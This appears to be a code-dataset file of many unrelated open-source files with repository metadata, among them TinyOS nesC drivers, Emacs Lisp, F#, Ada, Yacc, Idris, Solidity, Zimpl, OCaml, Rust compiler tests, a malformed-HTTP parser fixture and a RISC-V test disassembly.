Resource.request() { return call UartResource.request(); } async command error_t Resource.immediateRequest() { if(call UartResource.immediateRequest() == EBUSY) { return EBUSY; } return SUCCESS; } async command error_t Resource.release() { return call UartResource.release(); } async command bool Resource.isOwner() { return call UartResource.isOwner(); } event void UartResource.granted() { signal Resource.granted(); } async event void UartResourceRequested.requested() { signal ResourceRequested.requested(); } async event void UartResourceRequested.immediateRequested() { signal ResourceRequested.immediateRequested(); } async command error_t HplTda5250Data.tx(uint8_t data) { if(call UartResource.isOwner() == FALSE) return FAIL; return call Uart.send(&data, 1); } async event void Uart.sendDone( uint8_t* buf, uint16_t len, error_t error ) { if(call UartResource.isOwner() == FALSE) return; signal HplTda5250Data.txReady(); } async event void Uart.receivedByte( uint8_t data ) { if(call UartResource.isOwner() == FALSE) return; signal HplTda5250Data.rxDone(data); } async event void Uart.receiveDone( uint8_t* buf, uint16_t len, error_t error ) {} async command error_t HplTda5250DataControl.setToTx() { call UartDataControl.setToTx(); return SUCCESS; } async command error_t HplTda5250DataControl.setToRx() { call UartDataControl.setToRx(); return SUCCESS; } default event void Resource.granted() {} default async event void HplTda5250Data.txReady() {} default async event void HplTda5250Data.rxDone(uint8_t data) {} }
nesC
5
mtaghiza/tinyos-main-1
tos/chips/tda5250/HplTda5250DataP.nc
[ "BSD-3-Clause" ]
;;; editor/format/autoload/evil.el -*- lexical-binding: t; -*- ;;;###if (featurep! :editor evil) ;;;###autoload (autoload '+format:region "editor/format/autoload/evil" nil t) (evil-define-operator +format:region (beg end) "Evil ex interface to `+format/region'." (interactive "<r>") (+format/region beg end))
Emacs Lisp
4
leezu/doom-emacs
modules/editor/format/autoload/evil.el
[ "MIT" ]
namespace OpenAPI.Model open System open System.Collections.Generic open Newtonsoft.Json module ApiResponse = //#region ApiResponse [<CLIMutable>] type ApiResponse = { [<JsonProperty(PropertyName = "code")>] Code : int; [<JsonProperty(PropertyName = "type")>] Type : string; [<JsonProperty(PropertyName = "message")>] Message : string; } //#endregion
F#
4
MalcolmScoffable/openapi-generator
samples/server/petstore/fsharp-functions/OpenAPI/src/model/ApiResponse.fs
[ "Apache-2.0" ]
GET /foo HTTP/1.1\r\n ba\0z: bar\r\n \r\n
HTTP
0
ashishmjn/gunicorn
tests/requests/invalid/005.http
[ "MIT" ]
x : -3.0 > 4.0
Objective-J
0
justinmann/sj
tests/comparison12.sj
[ "Apache-2.0" ]
module Drv { type DataBuffer @ Data Buffer Port port DataBuffer( ref buff: Drv.DataBuffer @< A data buffer ) }
FORTRAN
3
AlperenCetin0/fprime
Drv/DataTypes/DataTypes.fpp
[ "Apache-2.0" ]
# mes 2,EM_WSIZE,EM_PSIZE exp $top_size #ifdef __sparc inp $top_size2 pro $top_size, 0 mes 11 zer EM_PSIZE lal 0 loi EM_PSIZE cal $top_size2 asp 2*EM_PSIZE lfr EM_WSIZE ret EM_WSIZE end 0 pro $top_size2, 3*EM_WSIZE+3*EM_PSIZE #else pro $top_size, 3*EM_WSIZE+3*EM_PSIZE #endif mes 11 lal 0 loi EM_PSIZE ; s_brk lor 1 ; s_brk SP sbs EM_PSIZE ; s_brk-SP ret EM_PSIZE ; return size of block to be saved end 3*EM_WSIZE+3*EM_PSIZE exp $top_save #ifdef __sparc inp $top_save2 pro $top_save,0 mes 11 lal 0 loi 2*EM_PSIZE cal $top_save2 asp 2*EM_PSIZE lfr EM_WSIZE ret EM_WSIZE end 0 pro $top_save2,0 #else pro $top_save, 0 #endif mes 11 loe 0 lae 4 ; load line number and file name loi EM_PSIZE lim ; ignore mask lor 0 ; LB lal 0 loi EM_PSIZE ; size of block loc EM_PSIZE loc EM_WSIZE cuu dup EM_WSIZE stl 0 ; push & store size in 2 bytes lor 1 ; SP (the SP BEFORE pushing) lor 1 ; SP (address of stack top to save) lal EM_PSIZE ; area loi EM_PSIZE lol 0 ; size bls EM_WSIZE ; move whole block asp 3*EM_PSIZE+3*EM_WSIZE ; remove the lot from the stack loc 1 ret EM_WSIZE ; return 1 end 0 sv bss EM_PSIZE, 0, 0 exp $top_load #ifdef __sparc inp $top_load1 pro $top_load,0 lal 0 loi EM_PSIZE cal $top_load1 asp EM_PSIZE lfr EM_WSIZE ret EM_WSIZE end 0 pro $top_load1, 0 #else pro $top_load, 0 #endif mes 11 lal 0 loi EM_PSIZE lae sv sti EM_PSIZE lxl 0 2 dup EM_PSIZE adp -3*EM_PSIZE lal 0 loi EM_PSIZE ; compare target SP with current LB to see if we must loi EM_PSIZE cmp ; find another LB first zgt *1 dch ; just follow dynamic chain to make sure we find ; a legal one bra *2 1 str 0 lae sv loi EM_PSIZE loi EM_PSIZE str 1 ; restore SP asp -EM_PSIZE lae sv loi EM_PSIZE lor 1 ; SP (the SP AFTER, see above) adp EM_PSIZE lae sv loi EM_PSIZE lof EM_PSIZE ; size of block bls EM_WSIZE ; move block back (SP becomes the SP BEFORE again!) asp EM_WSIZE+EM_PSIZE ; drop size + SP str 0 ; LB sim ; ignore mask lae 4 sti EM_PSIZE ste 0 ; line and file loc 0 ret EM_WSIZE ; return 0 end 0
Eiffel
2
wyan/ack
lang/occam/lib/par_misc.e
[ "BSD-3-Clause" ]
module FlashShellP { uses { interface Boot; interface Leds; interface ShellCommand; interface BlockRead; interface BlockWrite; } } implementation { event void Boot.booted() { if (call BlockWrite.erase() != SUCCESS) call Leds.led1Toggle(); } event void BlockRead.readDone(storage_addr_t addr, void* buf, storage_len_t len, error_t error) { uint16_t r_len = snprintf(reply_buf, MAX_REPLY_LEN,"read done addr: 0x%x len: %i error: %i data: ", addr, len, error); if (len < MAX_REPLY_LEN - r_len - 1) memcpy(reply_buf + r_len, buf, len); reply_buf[r_len + len + 1] = '\n'; call UDP.sendto(&session_endpoint, reply_buf, r_len + len + 1); } event void BlockRead.computeCrcDone(storage_addr_t addr, storage_len_t len, uint16_t crc, error_t error) { } event void BlockWrite.writeDone(storage_addr_t addr, void* buf, storage_len_t len, error_t error) { uint16_t r_len = snprintf(reply_buf, MAX_REPLY_LEN,"write done addr: 0x%x len: %i error: %i\n", addr, len, error); call UDP.sendto(&session_endpoint, reply_buf, r_len); } event void BlockWrite.eraseDone(error_t error) { call Leds.led0Toggle(); } event void BlockWrite.syncDone(error_t error) { } }
nesC
4
mtaghiza/tinyos-main-1
tos/lib/net/blip/shell/FlashShellP.nc
[ "BSD-3-Clause" ]
FROM openjdk:8-jdk-alpine COPY target/shipping-service-async-0.0.1-SNAPSHOT.jar app.jar ENTRYPOINT ["java","-jar","-Dspring.profiles.active=docker","/app.jar"]
Dockerfile
3
DBatOWL/tutorials
reactive-systems/shipping-service/Dockerfile
[ "MIT" ]
-- simple.adb: simple example of array declarations and access procedure Simple is -- Array type declarations: -- * index range can be any discrete type -- * lower and upper bound can be arbitrary -- * components can have any type type AT1 is array (1..50) of Integer; type AT2 is array (4..457) of Integer; type AT3 is array (0..9) of Boolean; -- type AT4 is array (0..9) of String(1..5); type Complex is record X, Y: Float; end record; type AT5 is array (0..9) of Complex; type AT6 is array (1..8) of AT4; type AT7 is array (Character range 'A'..'Z') of Float; type Color is (Red, Orange, Yellow, Green, Blue, Violet); type AT8 is array (Orange..Blue) of Boolean; type AT9 is array (Color'Range) of Character; A:AT1; B:AT2; C:AT3; D:AT4; E:AT5; F:AT6; G:AT7; H:AT8; I:AT9; N : constant Integer := 1; begin A(2*N+5) := 4_567; B(N+4) := 4_567; C(N) := True; D(3*N) := "ABCDE"; E(0) := Complex' (X=>6.7, Y=>5.6); F(3) := AT4' (AT4'Range => "XXXXX"); F(3)(1)(5) := 'E'; G(Character'Succ('E')) := 2.9; H(Color'Pred(Yellow)) := True; I(Red) := 'Q'; end Simple;
Ada
4
nodew/hlines
test-data/test.ada
[ "BSD-3-Clause" ]
%name pluralParse %token_type {int} %extra_argument {struct parse_state *s} %right T_QMARK. %left T_OR. %left T_AND. %left T_EQ T_NE. %left T_LT T_LE T_GT T_GE. %left T_ADD T_SUB. %left T_MUL T_DIV T_MOD. %right T_NOT. %nonassoc T_COLON T_N T_LPAREN T_RPAREN. %include { #include <assert.h> struct parse_state { int num; int res; }; } input ::= expr(A). { s->res = A; } expr(A) ::= expr(B) T_QMARK expr(C) T_COLON expr(D). { A = B ? C : D; } expr(A) ::= expr(B) T_OR expr(C). { A = B || C; } expr(A) ::= expr(B) T_AND expr(C). { A = B && C; } expr(A) ::= expr(B) T_EQ expr(C). { A = B == C; } expr(A) ::= expr(B) T_NE expr(C). { A = B != C; } expr(A) ::= expr(B) T_LT expr(C). { A = B < C; } expr(A) ::= expr(B) T_LE expr(C). { A = B <= C; } expr(A) ::= expr(B) T_GT expr(C). { A = B > C; } expr(A) ::= expr(B) T_GE expr(C). { A = B >= C; } expr(A) ::= expr(B) T_ADD expr(C). { A = B + C; } expr(A) ::= expr(B) T_SUB expr(C). { A = B - C; } expr(A) ::= expr(B) T_MUL expr(C). { A = B * C; } expr(A) ::= expr(B) T_DIV expr(C). { A = B / C; } expr(A) ::= expr(B) T_MOD expr(C). { A = B % C; } expr(A) ::= T_NOT expr(B). { A = !B; } expr(A) ::= T_N. { A = s->num; } expr(A) ::= T_NUM(B). { A = B; } expr(A) ::= T_LPAREN expr(B) T_RPAREN. { A = B; }
Yacc
4
fanck0605/luci-1
modules/luci-base/src/plural_formula.y
[ "Apache-2.0" ]
module Prelude.Char import Builtins isUpper : Char -> Bool isUpper x = x >= 'A' && x <= 'Z' isLower : Char -> Bool isLower x = x >= 'a' && x <= 'z' isAlpha : Char -> Bool isAlpha x = isUpper x || isLower x isDigit : Char -> Bool isDigit x = (x >= '0' && x <= '9') isAlphaNum : Char -> Bool isAlphaNum x = isDigit x || isAlpha x isSpace : Char -> Bool isSpace x = x == ' ' || x == '\t' || x == '\r' || x == '\n' || x == '\f' || x == '\v' || x == '\xa0' isNL : Char -> Bool isNL x = x == '\r' || x == '\n' toUpper : Char -> Char toUpper x = if (isLower x) then (prim__intToChar (prim__charToInt x - 32)) else x toLower : Char -> Char toLower x = if (isUpper x) then (prim__intToChar (prim__charToInt x + 32)) else x isHexDigit : Char -> Bool isHexDigit x = elem (toUpper x) hexChars where hexChars : List Char hexChars = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']
Idris
4
JavascriptID/sourcerer-app
src/test/resources/samples/langs/Idris/Chars.idr
[ "MIT" ]
pragma solidity ^0.7.4; contract EthCall { uint public value; constructor() public payable { value = 5; } }
Solidity
4
bifrost-platform/ganache-core
src/chains/ethereum/ethereum/tests/api/eth/contracts/EthCall.sol
[ "MIT" ]
-- (c) 2009 Femke Johansson under LGPL concrete FoodsDut of Foods = { lincat Comment = {s : Str}; Quality = {s : AForm => Str}; Kind = { s : Number => Str}; Item = {s : Str ; n : Number}; lin Pred item quality = {s = item.s ++ copula ! item.n ++ quality.s ! APred}; This = det Sg "deze"; These = det Pl "deze"; That = det Sg "die"; Those = det Pl "die"; Mod quality kind = {s = \\n => quality.s ! AAttr ++ kind.s ! n}; Wine = regNoun "wijn"; Cheese = noun "kaas" "kazen"; Fish = noun "vis" "vissen"; Pizza = noun "pizza" "pizza's"; Very a = {s = \\f => "erg" ++ a.s ! f}; Fresh = regadj "vers"; Warm = regadj "warm"; Italian = regadj "Italiaans"; Expensive = adj "duur" "dure"; Delicious = regadj "lekker"; Boring = regadj "saai"; param Number = Sg | Pl; AForm = APred | AAttr; oper det : Number -> Str -> {s : Number => Str} -> {s : Str ; n: Number} = \n,det,noun -> {s = det ++ noun.s ! n ; n=n}; noun : Str -> Str -> {s : Number => Str} = \man,men -> {s = table {Sg => man; Pl => men}}; regNoun : Str -> {s : Number => Str} = \wijn -> noun wijn (wijn + "en"); regadj : Str -> {s : AForm => Str} = \koud -> adj koud (koud+"e"); adj : Str -> Str -> {s : AForm => Str} = \duur, dure -> {s = table {APred => duur; AAttr => dure}}; copula : Number => Str = table {Sg => "is" ; Pl => "zijn"}; }
Grammatical Framework
4
JavascriptID/sourcerer-app
src/test/resources/samples/langs/Grammatical Framework/FoodsDut.gf
[ "MIT" ]
# Parameters param T := read "producer.dat" as "1n" use 1 comment "#"; set Ts := {1..T}; set Ns := {read "producer.dat" as "<n+>" skip 1 use 1 comment "#"}; param N := card(Ns); param pMin[Ns*Ts] := read "producer.dat" as "<1n,2n> 3n" skip 2 use (N*T) comment "#"; param pMax[Ns*Ts] := read "producer.dat" as "<1n,2n> 4n" skip 2 use (N*T) comment "#"; param c[Ns*Ts] := read "producer.dat" as "<1n,2n> 5n" skip 2 use (N*T) comment "#"; param EPS := read "prices.csv" as "2n" use 1 comment "#"; param pii := read "prices.csv" as "3n" use 1 comment "#"; param piE[Ts] := read "prices.csv" as "<1n> 2n" skip 1 use T comment "#"; param piIP[Ts] := read "prices.csv" as "<1n> 3n" skip 1 use T comment "#"; param piIM[Ts] := read "prices.csv" as "<1n> 4n" skip 1 use T comment "#"; param Pb[Ts] := read "producer-baselines.dat" as "<1n> 2n" skip 2 use T comment "#"; param pb[Ns*Ts] := read "producer-baselines.dat" as "<1n,2n> 3n" skip (2+T) use (N*T) comment "#"; param fP[Ns*Ts] := read "flexBids.dat" as "<1n,2n> 3n" skip 2 use (N*T) comment "#"; param fM[Ns*Ts] := read "flexBids.dat" as "<1n,2n> 4n" skip 2 use (N*T) comment "#"; param d[Ns*Ts] := read "flexBids.dat" as "<1n,2n> 5n" skip 2 use (N*T) comment "#"; param D[Ns*Ts] := read "flexBids.dat" as "<1n,2n> 6n" skip 2 use (N*T) comment "#"; param k[Ns] := read "flexBids.dat" as "<1n> 2n" skip 2+N*T use N comment "#"; param K[Ns] := read "flexBids.dat" as "<1n> 3n" skip 2+N*T use N comment "#"; param F := read "ecBids.dat" as "1n" use 1 comment "#"; set Fs := {0..F-1}; param nodeF[Fs] := read "ecBids.dat" as "<1n> 2n" skip 1 use F comment "#"; param piRF[Fs] := read "ecBids.dat" as "<1n> 3n" skip 1 use F comment "#"; param piAF[Fs] := read "ecBids.dat" as "<1n> 4n" skip 1 use F comment "#"; param mF[Fs*Ts] := read "ecBids.dat" as "<1n,2n> 3n" skip (1+F) use (F*T) comment "#"; param MF[Fs*Ts] := read "ecBids.dat" as "<1n,2n> 4n" skip (1+F) use (F*T) comment "#"; param B := read "spBids.dat" as "1n" use 1 comment "#"; set Bs := {0..B-1}; param nodeB[Bs] := read "spBids.dat" as "<1n> 2n" skip 1 use B comment "#"; param tauB[Bs] := read "spBids.dat" as "<1n> 3n" skip 1 use B comment "#"; param piRB[Bs] := read "spBids.dat" as "<1n> 4n" skip 1 use B comment "#"; param piAB[Bs] := read "spBids.dat" as "<1n> 5n" skip 1 use B comment "#"; param mB[Bs] := read "spBids.dat" as "<1n> 6n" skip 1 use B comment "#"; param MB[Bs] := read "spBids.dat" as "<1n> 7n" skip 1 use B comment "#"; # Variables var P[Ts] >= -infinity; var i[<n,t> in Ns*Ts] >= -infinity; var iP[<n,t> in Ns*Ts] >= 0; var iM[<n,t> in Ns*Ts] >= 0; var I[Ts] >= -infinity; var IP[Ts] >=0; var IM[Ts] >=0; var id[Ns*Ts] >= 0; var iD[Ns*Ts] >= 0; var p[<n,t> in Ns*Ts] >= max(pMin[n,t],k[n]) <= min(pMax[n,t],K[n]); var pP[<n,t> in Ns*Ts] >= max(pMin[n,t],k[n]) <= min(pMax[n,t],K[n]); var pM[<n,t> in Ns*Ts] >= max(pMin[n,t],k[n]) <= min(pMax[n,t],K[n]); var u[Ns*Ts] >= -infinity; var x[<j,t> in Fs*Ts] >= mF[j,t] <= MF[j,t]; var xU[<j,t> in Fs*Ts] >= 0; var xL[<j,t> in Fs*Ts] >= 0; var y[Fs] binary; var z[Ns*Ts] binary; var v[<j> in Bs] >= mB[j] <= MB[j]; var w[<j> in Bs] >= mB[j] <= 0; var W[<j> in Bs] >= 0 <= MB[j]; # Objective minimize costs: sum <t> in Ts : (piIP[t]*IP[t]+piIM[t]*IM[t] +sum <n> in Ns : ( c[n,t]*p[n,t] + EPS*(iP[n,t]+iM[n,t]) + pii*(id[n,t]+iD[n,t]) ) ) + sum <j> in Fs : (piRF[j]*y[j] + piAF[j]*(sum <t> in Ts : (xU[j,t] + xL[j,t]))) + sum <j> in Bs : (piAB[j]*v[j] + piRB[j]*(W[j]-w[j])) ; # Constraints subto TotalProduction: forall <t> in Ts : P[t] == sum <n> in Ns: p[n,t]; subto TotalImbalance: forall <t> in Ts : I[t] == P[t]-Pb[t]; subto TotalUpwardImbalance: forall <t> in Ts : IP[t] >= I[t]; subto TotalDownwardImbalance: forall <t> in Ts : IM[t] >= -I[t]; subto FlexPdef: forall <n,t> in Ns*Ts: fP[n,t]<=pP[n,t]-pb[n,t]; subto FlexMdef: forall <n,t> in Ns*Ts: fM[n,t]<=pb[n,t]-pM[n,t]; subto FlexActivation: forall <n,t> in Ns*Ts : u[n,t] == + sum <j> in Fs : if (nodeF[j] == n) then x[j,t] else 0*x[j,t] end + sum <j> in Bs : if (nodeB[j] == n and tauB[j] == t) then v[j] else 0*v[j] end; subto NodeBalance: forall <n,t> in Ns*Ts: pb[n,t]+i[n,t]+u[n,t]==p[n,t]; subto UpwardNodeImbalance: forall <n,t> in Ns*Ts: iP[n,t] >= i[n,t]; subto DownwardNodeImbalance: forall <n,t> in Ns*Ts: iM[n,t] >= -i[n,t]; subto ModulationMinC: forall <j> in Bs: w[j] <= v[j]; subto ModulationMaxC: forall <j> in Bs: v[j] <= W[j]; subto MinFlexibilityF: forall <j,t> in Fs*Ts: mF[j,t]*y[j] <= x[j,t]; subto MaxFlexibilityF: forall <j,t> in Fs*Ts: x[j,t] <= MF[j,t]*y[j]; subto FlexSignF: forall <j,t> in Fs*Ts: x[j,t] == xU[j,t] - xL[j,t]; subto ConstantEnergy: forall <j> in Fs: sum <t> in Ts : x[j,t] == 0; subto DynamicDownwardRestriction: forall <n,t> in Ns*Ts: id[n,t] >= d[n,t]-p[n,t]; subto DynamicUpwardRestriction: forall <n,t> in Ns*Ts: iD[n,t] >= p[n,t]-D[n,t];
Zimpl
4
sebMathieu/dsima
simulator/models/producer-flexEvaluation.zpl
[ "BSD-3-Clause" ]
{{ data.sourceCurrency.name }}
Twig
1
titomtd/Sylius
src/Sylius/Bundle/AdminBundle/Resources/views/ExchangeRate/Grid/Field/sourceCurrencyName.html.twig
[ "MIT" ]
require 'axle/opal_lib/digest_helpers' require 'digest-rails/opal_lib/hot_helpers' require 'digest-rails/opal_lib/quick_html_table' require 'digest-rails/opal_lib/hot_like_table' require 'digest-rails/opal_lib/table' class PaneletTable def init(config) @data_source = config[:data_source] @table = Table.new( 'TableName', @data_source ) return self end def render @table.render end end
Opal
3
bcavileer/digest-rails
app/assets/javascripts/digest-rails/opal_lib/hold/panelet_table.js.opal
[ "MIT" ]
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN"> <HTML> <HEAD> <meta name="GENERATOR" content="Microsoft&reg; HTML Help Workshop 4.1"> <!-- Sitemap 1.0 --> </HEAD><BODY> <UL> <LI> <OBJECT type="text/sitemap"> <param name="Name" value="readme"> <param name="Local" value="readme\files\README.html"> </OBJECT> </UL> </BODY></HTML>
RHTML
2
i-s-o/rubyinstaller
resources/chm/index.hhk.rhtml
[ "BSD-3-Clause" ]
(* * Copyright (c) Facebook, Inc. and its affiliates. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. *) module CodeLocSet : Flow_set.S with type elt = string * Loc.t type t val empty : t (* Raises if the given loc has `source` set to `None` *) val add : Loc.t -> Suppression_comments.applicable_codes -> t -> t val add_lint_suppressions : Loc_collections.LocSet.t -> t -> t val remove : File_key.t -> t -> t (* Union the two collections of suppressions. If they both contain suppressions for a given file, * include both sets of suppressions. *) val union : t -> t -> t (* Union the two collections of suppressions. If they both contain suppressions for a given file, * discard those included in the first argument. *) val update_suppressions : t -> t -> t val all_unused_locs : t -> Loc_collections.LocSet.t val universally_suppressed_codes : t -> CodeLocSet.t val filter_suppressed_errors : root:Path.t -> file_options:Files.options option -> t -> Errors.ConcreteLocPrintableErrorSet.t -> unused:t -> Errors.ConcreteLocPrintableErrorSet.t * (Loc.t Errors.printable_error * Loc_collections.LocSet.t) list * t (* We use an PrintableErrorSet here (as opposed to a ConcretePrintableErrorSet) because this operation happens during merge rather than during collation as filter_suppressed_errors does *) val filter_lints : t -> Flow_error.ErrorSet.t -> (* If needed, we will resolve abstract locations using these tables. Context.aloc_tables is most * likely the right thing to pass to this. *) ALoc.table Lazy.t Utils_js.FilenameMap.t -> include_suppressions:bool -> ExactCover.lint_severity_cover Utils_js.FilenameMap.t -> Flow_error.ErrorSet.t * Flow_error.ErrorSet.t * t val get_lint_settings : 'a ExactCover.t Utils_js.FilenameMap.t -> Loc.t -> 'a option
OCaml
4
zhangmaijun/flow
src/typing/errors/error_suppressions.mli
[ "MIT" ]
#![derive(Copy)] //~ ERROR cannot determine resolution for the attribute macro `derive` //~^ ERROR `derive` attribute cannot be used at crate level #![test]//~ ERROR cannot determine resolution for the attribute macro `test` //~^ ERROR `test` attribute cannot be used at crate level #![test_case]//~ ERROR cannot determine resolution for the attribute macro `test_case` //~^ ERROR `test_case` attribute cannot be used at crate level #![bench]//~ ERROR cannot determine resolution for the attribute macro `bench` //~^ ERROR `bench` attribute cannot be used at crate level #![global_allocator]//~ ERROR cannot determine resolution for the attribute macro `global_allocator` //~^ ERROR `global_allocator` attribute cannot be used at crate level fn main() {}
Rust
2
ohno418/rust
src/test/ui/derives/issue-36617.rs
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
D:/gitee/open/tinyriscv/tests/riscv-compliance/build_generated/rv32i/I-SRL-01.elf: file format elf32-littleriscv Disassembly of section .text.init: 00000000 <_start>: 0: 04c0006f j 4c <reset_vector> 00000004 <trap_vector>: 4: 34202f73 csrr t5,mcause 8: 00800f93 li t6,8 c: 03ff0a63 beq t5,t6,40 <write_tohost> 10: 00900f93 li t6,9 14: 03ff0663 beq t5,t6,40 <write_tohost> 18: 00b00f93 li t6,11 1c: 03ff0263 beq t5,t6,40 <write_tohost> 20: 00000f17 auipc t5,0x0 24: fe0f0f13 addi t5,t5,-32 # 0 <_start> 28: 000f0463 beqz t5,30 <trap_vector+0x2c> 2c: 000f0067 jr t5 30: 34202f73 csrr t5,mcause 34: 000f5463 bgez t5,3c <handle_exception> 38: 0040006f j 3c <handle_exception> 0000003c <handle_exception>: 3c: 5391e193 ori gp,gp,1337 00000040 <write_tohost>: 40: 00001f17 auipc t5,0x1 44: fc3f2023 sw gp,-64(t5) # 1000 <tohost> 48: ff9ff06f j 40 <write_tohost> 0000004c <reset_vector>: 4c: 00000193 li gp,0 50: 00000297 auipc t0,0x0 54: fb428293 addi t0,t0,-76 # 4 <trap_vector> 58: 30529073 csrw mtvec,t0 5c: 30005073 csrwi mstatus,0 60: 00000297 auipc t0,0x0 64: 02028293 addi t0,t0,32 # 80 <begin_testcode> 68: 34129073 csrw mepc,t0 6c: 00000293 li t0,0 70: 10000337 lui t1,0x10000 74: 01030313 addi t1,t1,16 # 10000010 <_end+0xfffde0c> 78: 00532023 sw t0,0(t1) 7c: 30200073 mret 00000080 <begin_testcode>: 80: 00002297 auipc t0,0x2 84: f8028293 addi t0,t0,-128 # 2000 <begin_signature> 88: fff00f93 li t6,-1 8c: 00000813 li a6,0 90: 010fd033 srl zero,t6,a6 94: 0002a023 sw zero,0(t0) 98: 00100f13 li t5,1 9c: 00000793 li a5,0 a0: 00ff50b3 srl ra,t5,a5 a4: 0012a223 sw ra,4(t0) a8: 00000e93 li t4,0 ac: 00100713 li a4,1 b0: 00eed133 srl sp,t4,a4 b4: 0022a423 sw sp,8(t0) b8: 7ff00e13 li t3,2047 bc: 00400693 li a3,4 c0: 00de51b3 srl gp,t3,a3 c4: 0032a623 sw gp,12(t0) c8: 00000d93 li s11,0 cc: 00800613 li a2,8 d0: 00cdd233 srl tp,s11,a2 d4: 0042a823 sw tp,16(t0) d8: 00002097 auipc ra,0x2 dc: f3c08093 addi ra,ra,-196 # 2014 <test_2_res> e0: 00001d37 lui s10,0x1 e4: 800d0d13 addi s10,s10,-2048 # 800 <end_testcode+0x4dc> e8: 01f00593 li a1,31 ec: 00bd52b3 srl t0,s10,a1 f0: 0050a023 sw t0,0(ra) f4: 07654cb7 lui s9,0x7654 f8: 321c8c93 addi s9,s9,801 # 7654321 <_end+0x765211d> fc: 01000513 li a0,16 100: 00acd333 srl t1,s9,a0 104: 0060a223 sw t1,4(ra) 108: 80000c37 lui s8,0x80000 10c: fffc0c13 addi s8,s8,-1 # 7fffffff <_end+0x7fffddfb> 110: 00100493 li s1,1 114: 009c53b3 srl t2,s8,s1 118: 0070a423 sw t2,8(ra) 11c: 00100b93 li s7,1 120: 00000413 li s0,0 124: 008bd433 srl s0,s7,s0 128: 0080a623 sw s0,12(ra) 12c: fff00b13 li s6,-1 130: 00000393 li t2,0 134: 007b54b3 srl s1,s6,t2 138: 0090a823 sw s1,16(ra) 13c: 00002097 auipc ra,0x2 140: eec08093 addi ra,ra,-276 # 2028 <test_3_res> 144: 00001ab7 lui s5,0x1 148: 234a8a93 addi s5,s5,564 # 1234 <fromhost+0x134> 14c: 00100313 li t1,1 150: 006ad533 srl a0,s5,t1 154: 00a0a023 sw a0,0(ra) 158: 80000a37 lui s4,0x80000 15c: 00400293 li t0,4 160: 005a55b3 srl a1,s4,t0 164: 00b0a223 sw a1,4(ra) 168: fffff9b7 lui s3,0xfffff 16c: dcc98993 addi s3,s3,-564 # ffffedcc <_end+0xffffcbc8> 170: 00800213 li tp,8 174: 0049d633 srl a2,s3,tp 178: 00c0a423 sw a2,8(ra) 17c: fff00913 li s2,-1 180: 01f00193 li gp,31 184: 003956b3 srl a3,s2,gp 188: 00d0a623 sw a3,12(ra) 18c: 80100893 li a7,-2047 190: 01000113 li sp,16 194: 0028d733 srl a4,a7,sp 198: 00e0a823 sw a4,16(ra) 19c: 00002117 auipc sp,0x2 1a0: ea010113 addi sp,sp,-352 # 203c <test_4_res> 1a4: 00000813 li a6,0 1a8: 00100093 li ra,1 1ac: 001857b3 srl a5,a6,ra 1b0: 00f12023 sw a5,0(sp) 1b4: fff00793 li a5,-1 1b8: 00000013 nop 1bc: 0007d833 srl a6,a5,zero 1c0: 01012223 sw a6,4(sp) 1c4: 00100713 li a4,1 1c8: 00000f93 li t6,0 1cc: 01f758b3 srl a7,a4,t6 1d0: 01112423 sw a7,8(sp) 1d4: 00000693 li a3,0 1d8: 00100f13 li t5,1 1dc: 01e6d933 srl s2,a3,t5 1e0: 01212623 sw s2,12(sp) 1e4: 7ff00613 li a2,2047 1e8: 00400e93 li t4,4 1ec: 01d659b3 srl s3,a2,t4 1f0: 01312823 sw s3,16(sp) 1f4: 00002097 auipc ra,0x2 1f8: e5c08093 addi ra,ra,-420 # 2050 <test_5_res> 1fc: 00000593 li a1,0 200: 00800e13 li t3,8 204: 01c5da33 srl s4,a1,t3 208: 0140a023 sw s4,0(ra) 20c: 00001537 lui a0,0x1 210: 80050513 addi a0,a0,-2048 # 800 <end_testcode+0x4dc> 214: 01f00d93 li s11,31 218: 01b55ab3 srl s5,a0,s11 21c: 0150a223 sw s5,4(ra) 220: 076544b7 lui s1,0x7654 224: 32148493 addi s1,s1,801 # 7654321 <_end+0x765211d> 228: 01000d13 li s10,16 22c: 01a4db33 srl s6,s1,s10 230: 0160a423 sw s6,8(ra) 234: 80000437 lui s0,0x80000 238: fff40413 addi s0,s0,-1 # 7fffffff <_end+0x7fffddfb> 23c: 00100c93 li s9,1 240: 01945bb3 srl s7,s0,s9 244: 0170a623 sw s7,12(ra) 248: 00100393 li t2,1 24c: 00000c13 li s8,0 250: 0183dc33 srl s8,t2,s8 254: 0180a823 sw s8,16(ra) 258: 00002097 auipc ra,0x2 25c: e0c08093 addi ra,ra,-500 # 2064 <test_6_res> 260: fff00313 li t1,-1 264: 00000b93 li s7,0 268: 01735cb3 srl s9,t1,s7 26c: 0190a023 sw s9,0(ra) 270: 000012b7 lui t0,0x1 274: 23428293 addi t0,t0,564 # 1234 <fromhost+0x134> 278: 00100b13 li s6,1 27c: 0162dd33 srl s10,t0,s6 280: 01a0a223 sw s10,4(ra) 284: 80000237 lui tp,0x80000 288: 00400a93 li s5,4 28c: 01525db3 srl s11,tp,s5 290: 01b0a423 sw s11,8(ra) 294: fffff1b7 lui gp,0xfffff 298: dcc18193 addi gp,gp,-564 # ffffedcc <_end+0xffffcbc8> 29c: 00800a13 li s4,8 2a0: 0141de33 srl t3,gp,s4 2a4: 01c0a623 sw t3,12(ra) 2a8: fff00113 li sp,-1 2ac: 01f00993 li s3,31 2b0: 01315eb3 srl t4,sp,s3 2b4: 01d0a823 sw t4,16(ra) 2b8: 00002117 auipc sp,0x2 2bc: dc010113 addi sp,sp,-576 # 2078 <test_7_res> 2c0: 80100093 li ra,-2047 2c4: 01000913 li s2,16 2c8: 0120df33 srl t5,ra,s2 2cc: 01e12023 sw t5,0(sp) 2d0: 00000013 nop 2d4: 00100893 li a7,1 2d8: 01105fb3 srl t6,zero,a7 2dc: 01f12223 sw t6,4(sp) 2e0: 00002297 auipc t0,0x2 2e4: d2028293 addi t0,t0,-736 # 2000 <begin_signature> 2e8: 10000337 lui t1,0x10000 2ec: 00830313 addi t1,t1,8 # 10000008 <_end+0xfffde04> 2f0: 00532023 sw t0,0(t1) 2f4: 00002297 auipc t0,0x2 2f8: d9c28293 addi t0,t0,-612 # 2090 <end_signature> 2fc: 10000337 lui t1,0x10000 300: 00c30313 addi t1,t1,12 # 1000000c <_end+0xfffde08> 304: 00532023 sw t0,0(t1) 308: 00100293 li t0,1 30c: 10000337 lui t1,0x10000 310: 01030313 addi t1,t1,16 # 10000010 